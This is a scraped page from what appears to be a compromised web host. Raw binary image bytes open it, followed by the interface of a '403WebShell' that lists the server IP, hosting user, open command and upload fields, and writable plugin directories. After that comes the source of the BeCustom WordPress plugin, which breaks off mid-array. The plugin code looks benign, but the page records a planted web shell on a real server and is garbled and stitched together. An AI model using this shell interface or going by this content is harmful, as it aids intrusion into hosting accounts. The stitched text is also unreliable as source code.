....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.125.254  /  Your IP : 216.73.217.4
Web Server : LiteSpeed
System : Linux premium80.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : vivegvwr ( 1774)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/vivegvwr/public_html/wp-content/plugins/becustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/vivegvwr/public_html/wp-content/plugins/becustom/becustom.php
<?php
/**
 * Plugin Name: BeCustom
 * Plugin URI: https://muffingroup.com/betheme/features/be-custom/
 * Description: Rebrand Be & WordPress Admin And Take Your Business To The Next Level. Be like PRO!
 * Version: 1.2.3
 * Author: Muffin Group
 * Author URI: https://muffingroup.com
 *
 * @Changelog
 *
 * 1.0.7
 * - PHP 8.2 Deprecated: Creation of dynamic property
 * - PHP 8.2 Deprecated: strip_tags(): Passing null to parameter #1
 *
 * 1.0.8
 * - Branding: Include parent theme image, name, description and author
 *
 * 1.0.9
 * - WP Login: WP 6.7 logo
 *
 * 1.1
 * - WP 6.7 compatibility (load_textdomain action changed)
 *
 * 1.2
 * - PHP Notice: Translation loading for the becustom domain was triggered too early
 *
 * 1.2.1
 * - PHP error: Reference to a removed function
 *
 * 1.2.2
 * - PHP Notice: $get_attributes is deprecated
 *
 * 1.2.3
 * - PHP Notice: Translation loading for the becustom domain was triggered too early
 * - Option to disable single page import (requires Betheme version 28.0.6+)
 */


class Be_custom {

  public $becustom_subpages = array('branding', 'built_in_features', 'wp_login', 'be_dashboard', 'advanced'); //always must be in proper setup, LTR in tabs
  public $betheme_fields;

  /* Subpages above fields used */
  public $branding = array();

  public $built_in_features = array();

  public $wp_login = array();

  public $be_dashboard = array();

  public $advanced = array();

  /**
   * Register the templates, required to tabs work
   */

  public function get_template() {
    include_once( plugin_dir_path( __DIR__ ) . 'becustom/templates/general.php' );
  }

  public function load_subpages() {

    load_plugin_textdomain( 'becstm' );

    if( defined('MFN_THEME_VERSION') ){
      foreach($this->becustom_subpages as $page){
        include_once( plugin_dir_path( __DIR__ ) . 'becustom/becustom_'.$page.'.php');

        //to clear all records
        //delete_option('be_custom_'.$page);
      }
    }
  }

  public function add_menu() {
    $default_theme_slug = 'be';
    $default_theme_label = 'betheme';

    $page = add_submenu_page(
        apply_filters('betheme_dynamic_slug', 'betheme'),
        __( 'BeCustom', 'mfn-translate' ),
        'BeCustom',
        'edit_theme_options',
        'be_custom',
        array( $this, 'get_template')
    );

    add_action('admin_print_styles-'. $page, array( $this, 'enqueue' ));
  }


  /**
   * Register or display tables
   * It will iterate and check the form values and names
   */
  public function iterate_merge_array($page_name) {
    $user_settings = get_option( 'be_custom_'.$page_name );

    $db_schema = $this->$page_name;
    $merge_first_dimension = shortcode_atts( $db_schema, $user_settings);

    $merged_array = array();

    foreach($db_schema as $tableName => $tableValue){
      $merged_array[$tableName] = shortcode_atts($db_schema[$tableName], $merge_first_dimension[$tableName]);
    }

    return $merged_array;
  }

  /*
    Provide popup html
  */

  public function popup($attribute_name){
    $roll_uid = uniqid();

    if( empty($this->get_attributes[$attribute_name]['popup_content']) ){
      return;
    }

    return '<a href="#popup-'. $roll_uid .'" class="popup-link mfn-option-btn"><span class="mfn-icon mfn-icon-information"></span></a>
      <div id="popup-'. $roll_uid .'" class="popup-content">
        <div class="popup-inner" style="padding:10px;">
          <div class="becustom-popup-image">
            <img src="'. $this->get_attributes[$attribute_name]['popup_content']['image'] .'" />
          </div>
          <div class="becustom-popup-text">
            '. __($this->get_attributes[$attribute_name]['popup_content']['text'], "becustom") .'
          </div>
        </div>
      </div>';
  }

  /*
    Pass values straight from the array
  */

  public function get_page_attributes($page_name){
    return $this->$page_name;
  }

  /**
   * Enqueue styles and scripts
  */

	public function enqueue()
	{
		wp_enqueue_script( 'be_custom_js', '/wp-content/plugins/becustom/assets/script.js', array('jquery'), MFN_THEME_VERSION, true );
    wp_enqueue_style( 'be_custom_css', '/wp-content/plugins/becustom/assets/style.css', false, MFN_THEME_VERSION, 'all' );

    $fields_JS = [
      'color',
      'switch',
      'textarea',
      'upload',
      'visual',
    ];

    foreach ( $fields_JS as $type ){
      require_once( get_template_directory() .'/muffin-options/fields/'. $type .'/field_'. $type .'.php' );
      $field_class = 'MFN_Options_'. $type;
      $field_object = new $field_class();
      $field_object->enqueue();
    }
	}

  /**
   *	Registration | Is registered
  */

  function mfn_is_registered()
  {
    if ( $this->mfn_get_purchase_code() ) {
      return strlen( $this->mfn_get_purchase_code() );
    }

    return false;
  }

  /**
   *	Registration | Get purchase code
  */

  function mfn_get_purchase_code()
  {
    $code = get_site_option( 'envato_purchase_code_7758048' );

    if( ! $code ){
      // BeTheme < 21.0.8 backward compatibility
      $code = get_site_option( 'betheme_purchase_code' );
      if( $code ){
        update_site_option( 'envato_purchase_code_7758048', $code );
        delete_site_option( 'betheme_purchase_code' );
        delete_site_option( 'betheme_registered' );
      }
    }

    return $code;
  }

  /*
    This function is used only when theme is not
    registered, to check, if label is changed (proper redirect after registering)
  */
  public function becustom_check_without_register($default){
    $theme_slug = $this->iterate_merge_array( 'branding' )['betheme_url_slug']['value'];

    if(($theme_slug)){
      $default = preg_replace('/betheme/', $theme_slug, $default);
    }

    return $default;
  }

  public function __construct() {

    $this->branding = array(
      'betheme_label' => array(
        'type' => 'text',
        'filter_name' => 'betheme_label',
        'title' => __('Default BeTheme text', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option changes default <strong>Betheme</strong> text located in main WP dashboard and just after the Welcome text in <i>Betheme > Dashboard</i> section.', 'becstm')
        )
      ),
      'replaced_logo_url' => array(
        'type' => 'upload',
        'filter_name' => 'betheme_logo',
        'title' => __('Betheme & Muffin group logo', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option changes any Betheme & Muffin group logo (some located in <i>Betheme > Dashboard</i> section, other in Muffin Builder.)', 'becstm')
        )
      ),
      'replaced_theme_image' => array(
        'type' => 'upload',
        'filter_name' => 'betheme_image',
        'title' => __('Default Betheme theme image', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default Betheme image in <i>Appearance > Themes</i> section.', 'becstm')
        )
      ),
      'replaced_theme_desc' => array(
        'type' => 'text',
        'filter_name' => 'betheme_desc',
        'title' => __('Theme description WP', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default Betheme description in <i>Appearance > Themes</i> section.', 'becstm')
        )
      ),
      'replaced_theme_author' => array(
        'type' => 'text',
        'filter_name' => 'betheme_author',
        'title' => __('Default Betheme author', 'becstm'),
        'value' => 'Muffin Group',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default Betheme author in <i>Appearance > Themes</i> section.', 'becstm')
        )
      ),
      'betheme_url_slug' => array(
        'type' => 'text',
        'filter_name' => 'betheme_slug',
        'title' => __('be friendly URL', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces each occurance of default <b>be</b> in URL.', 'becstm')
        )
      ),

      //FIELDS WHERE USERS CANNOT CHANGE ANYTHING
      'betheme_dynamic_slug' => array(
        'type' => 'text',
        'filter_name' => 'betheme_dynamic_slug',
      ),
      'betheme_input_options' => array( //theme options input value
        'type' => 'text',
        'filter_name' => 'betheme_options_filed_options',
      ),
      'betheme_input_title' => array( //theme options title value
        'type' => 'text',
        'filter_name' => 'betheme_options_filed_title',
      ),
      'betheme_input_desc' => array( //theme options desc value
        'type' => 'text',
        'filter_name' => 'betheme_options_filed_desc',
      ),
      'betheme_replaced_logo_nohtml' => array(
        'type' => 'upload',
        'filter_name' => 'betheme_logo_nohtml',
      ),
    );

    $this->built_in_features = array(
      'disable_theme_version' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_theme_version',
        'title' => __('Theme version', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes theme version visible or hidden in <i>Betheme > Theme Options</i>.', 'becstm')
        )
      ),
      'disable_single_import' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_single',
        'title' => __('Single page import', 'becstm'),
        'value' => false,
      ),
      'disable_support_link' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_support',
        'title' => __('Manual & Support tab', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes Betheme <b>Manual & Support</b> tab visible or hidden in <i>Betheme > Dashboard</i>.', 'becstm')
        )
      ),
      'disable_changelog_link' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_changelog',
        'title' => __('Changelog tab', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes Betheme <b>Changelog</b> tab visible or hidden in <i>Betheme > Dashboard</i>.', 'becstm')
        )
      ),
      'disable_theme_update' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_theme_update',
        'title' => __('Theme Update', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option disable/enable <b>Betheme Update</b> button in <i>Betheme > Dashboard</i>.', 'becstm')
        )
      ),
      'disable_advanced_tab' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_advanced',
        'title' => __('Advanced tab', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes <b>Advanced</b> tab visible or hidden in <i>Betheme > Theme Options</i>.', 'becstm')
        )
      ),
      'disable_hooks_tab' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_hooks',
        'title' => __('Hooks tab', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes <b>Hooks</b> tab visible or hidden in <i>Betheme > Theme Options</i>.', 'becstm')
        )
      ),
      'disable_footer_copy' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_footer',
        'title' => __('Footer copyright', 'becstm'),
        'value' => false,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option makes <b>Footer copyright</b> visible or hidden in front-end.', 'becstm')
        )
      ),
    );

    $this->wp_login = array(
      'enable_custom_login' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_custom_login',
        'title' => __('Enable the custom WP-Login page', 'becstm'),
        'value' => false
      ),
      'custom_wplogin_logo' => array(
        'type' => 'upload',
        'filter_name' => 'betheme_wplogin_logo',
        'title' => __('Custom WP-Login logo', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('this option replaces default WP logo on WP-Login page with your own.', 'becstm')
        )
      ),
      'custom_background_color' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_bg_color',
        'title' => __('WP-Login page background color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default background color on WP-Login page.', 'becstm')
        )
      ),
      'custom_font_color' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_font_color',
        'title' => __('WP-Login page font color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default font color on WP-Login page for texts like <i>Lost your password?</i> or <i><- Go to XYZ</i>.', 'becstm')
        )
      ),
      'custom_background_image' => array(
        'type' => 'upload',
        'filter_name' => 'betheme_wplogin_bg_image',
        'title' => __('WP-Login page background image', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default background color on WP-Login page with custom background image.', 'becstm')
        )
      ),
      'custom_background_size' => array(
        'type' => 'select',
        'filter_name' => 'betheme_wplogin_bg_size',
        'title' => __('WP-Login page background image size', 'becstm'),
        'value' => 'Auto',
        'popup_content' => array(
          'image' => 'https://upload.wikimedia.org/wikipedia/commons/c/ce/Example_image.png',
          'text' => 'Oh boy',
        )
      ),
      'custom_background_position' => array(
        'type' => 'select',
        'filter_name' => 'betheme_wplogin_bg_position',
        'title' => __('WP-Login page background image position', 'becstm'),
        'value' => 'no-repeat;left top;;',
        'popup_content' => array(
          'image' => 'https://upload.wikimedia.org/wikipedia/commons/c/ce/Example_image.png',
          'text' => 'Oh boy',
        )
      ),
      'custom_login_container_position' => array(
        'type' => 'select',
        'filter_name' => 'betheme_wplogin_container_position',
        'title' => __('WP-Login Container position', 'becstm'),
        'value' => 'unset',
        'std' => 'unset',
        'popup_content' => array(
          'image' => 'https://upload.wikimedia.org/wikipedia/commons/c/ce/Example_image.png',
          'text' => 'Oh boy',
        )
      ),
      'custom_login_container_background' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_container_bg',
        'title' => __('WP-Login container background color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default background color on WP-Login page container with custom background color.', 'becstm')
        )
      ),
      'custom_login_container_font_color' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_container_font_color',
        'title' => __('WP-Login container font color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default font color inside container on WP-Login page.', 'becstm')
        )
      ),
      'custom_login_container_input_background' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_container_input_bg',
        'title' => __('WP-Login container input background color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default input background color inside container on WP-Login page.', 'becstm')
        )
      ),
      'custom_login_container_input_font_color' => array(
        'type' => 'text',
        'filter_name' => 'betheme_wplogin_container_input_color',
        'title' => __('WP-Login container input font color', 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces default input font color inside container on WP-Login page.', 'becstm')
        )
      ),
      'enable_forgot_password' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_wplogin_enable_forgot_password',
        'title' => __('Forgot Password', 'becstm'),
        'value' => true,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option enable/disable <b>Forgot Password</b> feature located under container on WP-Login page.', 'becstm')
        )
      ),
      'enable_goto_link' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_wplogin_enable_gotolink',
        'title' => __('"Go TO XYZ"', 'becstm'),
        'value' => true,
        'popup_content' => array(
          'image' => '',
          'text' => __('This option enable/disable <b>Go to XYZ</b> feature located under container on WP-Login page.', 'becstm')
        )
      )
    );

    $this->be_dashboard = array(
      'disable_survey' => array(
        'type' => 'switch',
        'filter_name' => 'betheme_disable_survey',
        'title' => __('Survey banner', 'becstm'),
        'value' => false,
      ),
      'subheader' => array(
        'type'  => 'text',
        'filter_name' => 'betheme_dashboard_subheader',
        'title' => __("Change content of dashboard subheader", 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces subheader content in  <i>Betheme > Dashboard</i>.','becstm')
        )
      ),
      'content' => array(
        'type'  => 'text',
        'filter_name' => 'betheme_dashboard_content',
        'title' => __("Change content in dashboard.", 'becstm'),
        'value' => '',
        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces content located in <i>Betheme > Dashboard</i>.','becstm')
        )
      ),
      'footer' => array(
        'type'  => 'text',
        'filter_name' => 'betheme_dashboard_footer',
        'title' => __("Change content on footer of dashboard", 'becstm'),
        'value' => '',
